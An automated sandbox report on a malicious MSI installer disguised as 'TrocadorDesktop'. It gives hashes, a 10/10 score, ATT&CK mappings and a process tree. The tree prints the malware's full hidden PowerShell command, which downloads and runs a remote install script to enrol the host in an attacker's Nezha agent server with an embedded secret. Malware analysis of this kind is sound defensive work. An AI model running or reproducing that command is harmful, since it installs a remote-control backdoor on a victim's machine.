7bda0aa187b2b11edec3f160b80d7e59b5fea34921592c7d9fe7efb3875e89c7

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/06/2026, 18:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_TrocadorDesktop%28V1.1.0%29.msi
Size 252KB
Sample260625-wvb59set7r
SHA256 7bda0aa187b2b11edec3f160b80d7e59b5fea34921592c7d9fe7efb3875e89c7
MD5 cd1b7c26bc3bcd149c64bdce609bf0cb
SHA1 2743b4c784b6a58ade09e60d56ef09183e1051e8
SHA512 f23bc0541d524e8c534890ae98aba8ae7e5237cc2fab25c99f98ef055070f9905b344712d449288bb4108547085a1e09b8fab46add434a0a7a14083668d266e1
SSDEEP 3072:vspAtOCmXwCGjtYNKbYO2gjpcm8rRuqpjCLP2loHUvUiyGxr59qM2a8Qb:ptOCiRQYpgjpjew52ZyGxTqo8o
TLSH
T160446B513AC9C13AD29E063785BADB76263A7D710B30D0CF77907D6C9E316D2AA39342
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation ransomware

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://fastly.jsdelivr.net/gh/nezhahq/agent/
exe.dropper
https://gcore.jsdelivr.net/gh/nezhahq/agent/

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	5672	powershell.exe
13	240	powershell.exe
14	240	powershell.exe
15	240	powershell.exe
16	240	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5672	powershell.exe
240	powershell.exe
256	powershell.exe
5672	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
2384	MsiExec.exe
2384	MsiExec.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5876	ICACLS.EXE
1312	ICACLS.EXE

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
12	raw.githubusercontent.com
1	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Drops file in Windows directory 15 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DF6B6FC4106ED0F4A1.TMP	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE
File opened for modification	C:\Windows\Installer\MSIBC9B.tmp	msiexec.exe
File created	C:\Windows\Installer\e59d325.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID8C2.tmp	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE
File created	C:\Windows\SystemTemp\~DFAB65763999B9435D.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e59d325.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A073D20F-62B6-4FD6-9448-91F3B9619723}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF3066A8B9A3FDD944.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE52C911B331343C6.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBCBC.tmp	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5272	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXPAND.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000005c0864d100437b2a0000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838015c0864d10000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841015c0864d1000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e35c0864d100000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e65c0864d100000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1504	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5700	msiexec.exe
5700	msiexec.exe
256	powershell.exe
256	powershell.exe
256	powershell.exe
5672	powershell.exe
5672	powershell.exe
5672	powershell.exe
240	powershell.exe
240	powershell.exe
240	powershell.exe

Suspicious use of AdjustPrivilegeToken 56 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5272	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5272	msiexec.exe
Token: SeSecurityPrivilege	5700	msiexec.exe
Token: SeCreateTokenPrivilege	5272	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5272	msiexec.exe
Token: SeLockMemoryPrivilege	5272	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5272	msiexec.exe
Token: SeMachineAccountPrivilege	5272	msiexec.exe
Token: SeTcbPrivilege	5272	msiexec.exe
Token: SeSecurityPrivilege	5272	msiexec.exe
Token: SeTakeOwnershipPrivilege	5272	msiexec.exe
Token: SeLoadDriverPrivilege	5272	msiexec.exe
Token: SeSystemProfilePrivilege	5272	msiexec.exe
Token: SeSystemtimePrivilege	5272	msiexec.exe
Token: SeProfSingleProcessPrivilege	5272	msiexec.exe
Token: SeIncBasePriorityPrivilege	5272	msiexec.exe
Token: SeCreatePagefilePrivilege	5272	msiexec.exe
Token: SeCreatePermanentPrivilege	5272	msiexec.exe
Token: SeBackupPrivilege	5272	msiexec.exe
Token: SeRestorePrivilege	5272	msiexec.exe
Token: SeShutdownPrivilege	5272	msiexec.exe
Token: SeDebugPrivilege	5272	msiexec.exe
Token: SeAuditPrivilege	5272	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5272	msiexec.exe
Token: SeChangeNotifyPrivilege	5272	msiexec.exe
Token: SeRemoteShutdownPrivilege	5272	msiexec.exe
Token: SeUndockPrivilege	5272	msiexec.exe
Token: SeSyncAgentPrivilege	5272	msiexec.exe
Token: SeEnableDelegationPrivilege	5272	msiexec.exe
Token: SeManageVolumePrivilege	5272	msiexec.exe
Token: SeImpersonatePrivilege	5272	msiexec.exe
Token: SeCreateGlobalPrivilege	5272	msiexec.exe
Token: SeBackupPrivilege	4136	vssvc.exe
Token: SeRestorePrivilege	4136	vssvc.exe
Token: SeAuditPrivilege	4136	vssvc.exe
Token: SeBackupPrivilege	5700	msiexec.exe
Token: SeRestorePrivilege	5700	msiexec.exe
Token: SeRestorePrivilege	5700	msiexec.exe
Token: SeTakeOwnershipPrivilege	5700	msiexec.exe
Token: SeRestorePrivilege	5700	msiexec.exe
Token: SeTakeOwnershipPrivilege	5700	msiexec.exe
Token: SeDebugPrivilege	256	powershell.exe
Token: SeDebugPrivilege	5672	powershell.exe
Token: SeBackupPrivilege	2744	srtasks.exe
Token: SeRestorePrivilege	2744	srtasks.exe
Token: SeSecurityPrivilege	2744	srtasks.exe
Token: SeTakeOwnershipPrivilege	2744	srtasks.exe
Token: SeDebugPrivilege	240	powershell.exe
Token: SeBackupPrivilege	2744	srtasks.exe
Token: SeRestorePrivilege	2744	srtasks.exe
Token: SeSecurityPrivilege	2744	srtasks.exe
Token: SeTakeOwnershipPrivilege	2744	srtasks.exe
Token: SeRestorePrivilege	5700	msiexec.exe
Token: SeTakeOwnershipPrivilege	5700	msiexec.exe
Token: SeRestorePrivilege	5700	msiexec.exe
Token: SeTakeOwnershipPrivilege	5700	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5272	msiexec.exe
5272	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
5272	msiexec.exe
5700	msiexec.exe
2384	MsiExec.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 5700 wrote to memory of 2744	5700	msiexec.exe	94
PID 5700 wrote to memory of 2384	5700	msiexec.exe	96
PID 2384 wrote to memory of 5876	2384	MsiExec.exe	97
PID 2384 wrote to memory of 3732	2384	MsiExec.exe	99
PID 2384 wrote to memory of 3744	2384	MsiExec.exe	101
PID 3744 wrote to memory of 4428	3744	cmd.exe	103
PID 4428 wrote to memory of 4620	4428	net.exe	104
PID 3744 wrote to memory of 4988	3744	cmd.exe	105
PID 4988 wrote to memory of 1364	4988	net.exe	106
PID 3744 wrote to memory of 1504	3744	cmd.exe	107
PID 3744 wrote to memory of 5964	3744	cmd.exe	108
PID 5964 wrote to memory of 256	5964	cmd.exe	109
PID 3744 wrote to memory of 5672	3744	cmd.exe	110
PID 5672 wrote to memory of 240	5672	powershell.exe	112
PID 240 wrote to memory of 5720	240	powershell.exe	113
PID 2384 wrote to memory of 1312	2384	MsiExec.exe	114

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\_TrocadorDesktop%28V1.1.0%29.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5272

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5700
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2744
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 527F4DDD5949F48C39E7952D1FAACD2B
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:5876
- - C:\Windows\SysWOW64\EXPAND.EXE
    "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\files\Trocador.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3744
  - - C:\Windows\SysWOW64\net.exe
      net session
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4428
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4620
  - - C:\Windows\SysWOW64\net.exe
      net stop "nezha-agent.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4988
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "nezha-agent.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1364
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 3 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "[guid]::NewGuid().ToString()"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5964
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "[guid]::NewGuid().ToString()"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:256
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$env:NZ_SERVER='almanak.top:8008'; $env:NZ_TLS='false'; $env:NZ_CLIENT_SECRET='8m79v3v2qGOc3Nm66OuSCpJ1kdPTX18T'; $env:NZ_UUID='54976d20-0600-4620-8295-37545620f2f3'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Ssl3 -bor [Net.SecurityProtocolType]::Tls -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls12; Set-ExecutionPolicy RemoteSigned -Force; Invoke-WebRequest https://raw.githubusercontent.com/nezhahq/scripts/main/agent/install.ps1 -OutFile C:\install.ps1; powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\install.ps1"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5672
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\install.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:240
      - C:\Windows\SysWOW64\findstr.exe
        
        "C:\Windows\system32\findstr.exe" /c:option.value
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5720
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\." /SETINTEGRITYLEVEL (CI)(OI)LOW
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:1312

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

File and Directory Permissions Modification

T1222

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 63KB
SHA256 c3c8b46e970b0c14c77739e10b1975bc9ede40ee33340f7aac62f328d2b42b11
MD5 39dd2e13641121d151be19b8ec60a3b9
SHA1 da84cb0e2b00140a4e02c99d9e15f2efda73fe72
SHA512 8a24f099f75cb54737764fa65ea39441ebdadc6109dfa208b446dbaf5cef4070b7f04e18ce98e95b2fad82e017ef7062859887e9293b9346e6fb8203ac917bb3
SSDEEP 1536:EtDqYo2hqHMLfKQx1flJdEeYyh4iUxPR40i71YieyPtOdBVV3CNBQkj2ba57klTZ:EtqYo2hqHMLfKQx1flJdzYyqiUPRCqBb
TLSH
T1415374D3E9204E75E1A66F3EF15622627C34394690F8113212DC25AFA9879930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 346b1a1a3793adfb3a42219980b872d75306bd27cd8bc077ff1fb186df83115b
MD5 69c2eb2d39c392281f1e416a2a35769a
SHA1 5db8b3e966c2dcd745de4b2eca5d63fc8a3dafe6
SHA512 ed98289520ffbbb1b85c3cb42a09f37ef919478d1a7b88b4f7a129a7ad9a97f728c48b2c50196c01a80caa1bce4bf6ed577a6837eddd2ba29ebe67dc61def2ec
SSDEEP 384:u1eBaEF1iBJdAt4sTtzq8++6gkr2PtWOE6UDzdC0AIAB/DyWptnb+tBKr2vEbhN3:+eVv6JdAt4sJzqi6gk6UN6UFC0AIA5ye
TLSH
T1AB92E52D217B4DC7EE9521F404C203A9FBA4D442EDA2A1D5FA9BCE2E5C41E764FA00F4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 12KB
SHA256 1f8c8197fc9bfe7241811e95d398cae362935155bd4c30b2fe13c5e85bb35d3c
MD5 d364a37dc3f9832263f6165fd2810df9
SHA1 35b77ec8460bebcd00144ab8065b5f9ca2b3325c
SHA512 12058718a9cfe04feca8b5e90e7d848c856e5944e6a5f9e5f117fb7e0748a98ae0fb961c6453b6df8957f2e7b3de3f5f2b3b895b43f773a96b8b454ffd995650
SSDEEP 384:L1ZB1GYSGW14biQty3z8ezqkO2PNlIAbDccYWWcyso9:pZOYJWi1ty3z/vzIAbDcc5o9
TLSH
T1D842A798613FADC7D8E252B0649A029BFBE4E08E17761199AF37CE3F5C90FB65B10510
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

files.cab

Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\files.cab
Size 1KB
SHA256 edbf54d51aea9db64a6991fd8cc031621231685591f79fb0ff405c7829aaea29
MD5 31d7618f83a7d4e4403d5b48e66fe626
SHA1 9708cef2854db0399cff3436102d3631d41f5890
SHA512 de82dbdbd8d0a69f18a074ce86f63561df6ae271c7cdd4396c04aea9b1ca556eae0d55fc2715c493635bcc495f42fc32c15d218383dc0988d84a9c59ed3a28b8
TLSH
T17A31620266CD9276C94287F6CCE19294A76FA0A54301C8ED33F5D60CFD052CDCB566C6
MD5 SHA1 SHA512 TLSH

Submit Download

Trocador.bat

Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\files\Trocador.bat
Size 1KB
SHA256 ea39463537078c5a13ed205c0811be706ab4f0e97bc715420c2ac784861f0c02
MD5 41b227accd101f38181316c56b85af63
SHA1 5d7d088c87807c5a835cd41b7a81e640b18f9b94
SHA512 ce4706b3d0e272c710d4feabe2411cfc3ca723b203e40549e684ce2f60f03ef5a30e5790cdc48a41628229e176e743619f50263ddc57d09ac8a580889fdb0eaa
TLSH
T17C31624366CD9676890287F6CCF19295A76FA0A54301C9ED33F5D60CFD052CDCB252D6
MD5 SHA1 SHA512 TLSH

Submit Download

msiwrapper.ini

Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\msiwrapper.ini
Size 1KB
SHA256 dcb8650c7fbe5b0ab795bce8515974ee74ff697ba1bc45848f1510ab1a97d4f7
MD5 49c024b5f8e59056dc3d9c6f90ed4720
SHA1 ee19660d07d104d02147f29dea2bd7a06a27d02a
SHA512 a142051eb7b3f0f9e3e6a208be4fbd7c18b8a3110c4f6d7c8e4d50322be0e44266bf6d452d997cbe2d17df843fc0e7c40d65cda60169007487ab36a289017040
TLSH
T15C31EB756FE91121F3B39E65EEF55096AAB6BC213C00DC0E00C502490EB2F57DAA2719
MD5 SHA1 SHA512 TLSH

Submit Download

msiwrapper.ini

Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\msiwrapper.ini
Size 644B
SHA256 041cbaa99ecdd7f35a487b9e88e7c75759816d1517c2f8294fc5fb3813d4ee14
MD5 cc5d690c020a5044718f1a08ef4a2915
SHA1 ebce5f587f12c710405c2ba183747fe6c1d63242
SHA512 0547c76fa17f9bb6a02d3d56dded7568eba925469b5f514cc3325bdf5373a73f1d3463ad5d20e0990d03ecf18d9682e3b4d46279f5ca2e9fef37960567af421e
TLSH
T122F0C83D3BE8122660B3CEA4D6F954C3EE65B5523D10982D10D3024D0D52F46ACA372D
MD5 SHA1 SHA512 TLSH

Submit Download

msiwrapper.ini

Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\msiwrapper.ini
Size 1KB
SHA256 dd67f32dcbcaa85fab5604c6ce06a90068e5925b72685386cd103f1a58fb23bd
MD5 4c98658b47f505a8a89211a42f09f2a2
SHA1 cb14d8c9451a049ff4db4fee092e21d152df54e4
SHA512 fdd0d0febf687b846009c00471d505b6eff55543c2a3e46b84aebe8dc96a2f66fb9fe01353e7f92f03c2998782e68a9c33065999a83dd7ee13e5529340716628
TLSH
T17B210B346BE91121F2F3AE65EEF55087ABB6B8613C10981E50C502490DB2F0AD9E372D
MD5 SHA1 SHA512 TLSH

Submit Download

msiwrapper.ini

Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\msiwrapper.ini
Size 1KB
SHA256 f8bddae866a37ef09d22677cf323e44de9949c769d6c3fa64b78c57f8f141fe4
MD5 e2f2aac834087d02788d6402de21f7fa
SHA1 307567c0fa61acd2a06a5211947ae2b4b3094154
SHA512 37bb0766f3e2799f8d14116945c16cc8984442f00689714e2fa6426e8639d6d34cde3e0659adda8480b0455389b096f2ec8951f86f57a8e5a409b5955724f799
TLSH
T1BB21DD256FE91121F2F3DE55FEF55483AA66BC612D10AC0E10C503890EB2F46EDA3729
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_51j5m4at.cyt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51j5m4at.cyt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

MSID8C2.tmp

Path C:\Windows\Installer\MSID8C2.tmp
Size 208KB
SHA256 0630014e81058bc5976b626865a7d6cf33cc9a8dcad5e6e73c266c0bce9f4abe
MD5 5a34fd27b27f03cf41669d3eb244dc1f
SHA1 067e767484d54d8ac4edea2cafdfce3125e7b5a8
SHA512 edd098e1752b7aa2253fdc9951728ae922e5af768da4f05ccfe945d15c6fa0bf9d3218798fc4c03eadc2e5c48ecd30b3f8baeb1257b97061d4e9497d8ae701ed
SSDEEP 3072:ispAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLP2loHUvUiyGxr59qM2a8:AtOdiRQYpgjpjew52ZyGxTqo8
TLSH
T194246CA13AC9C13AD2AE153785BA9766367A75751B30D0CFBB900C6C9A307D3ED39312
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

install.ps1

Path C:\install.ps1
Size 3KB
SHA256 8b9e54f5e3a2cd61860d3b91827dc7daf0de93773c132301f6cb8c98482cf6a6
MD5 91073aca401fbd08a0d669a8fcb7e29d
SHA1 b7444a9df8b19f7f0201433d665f714eaead4661
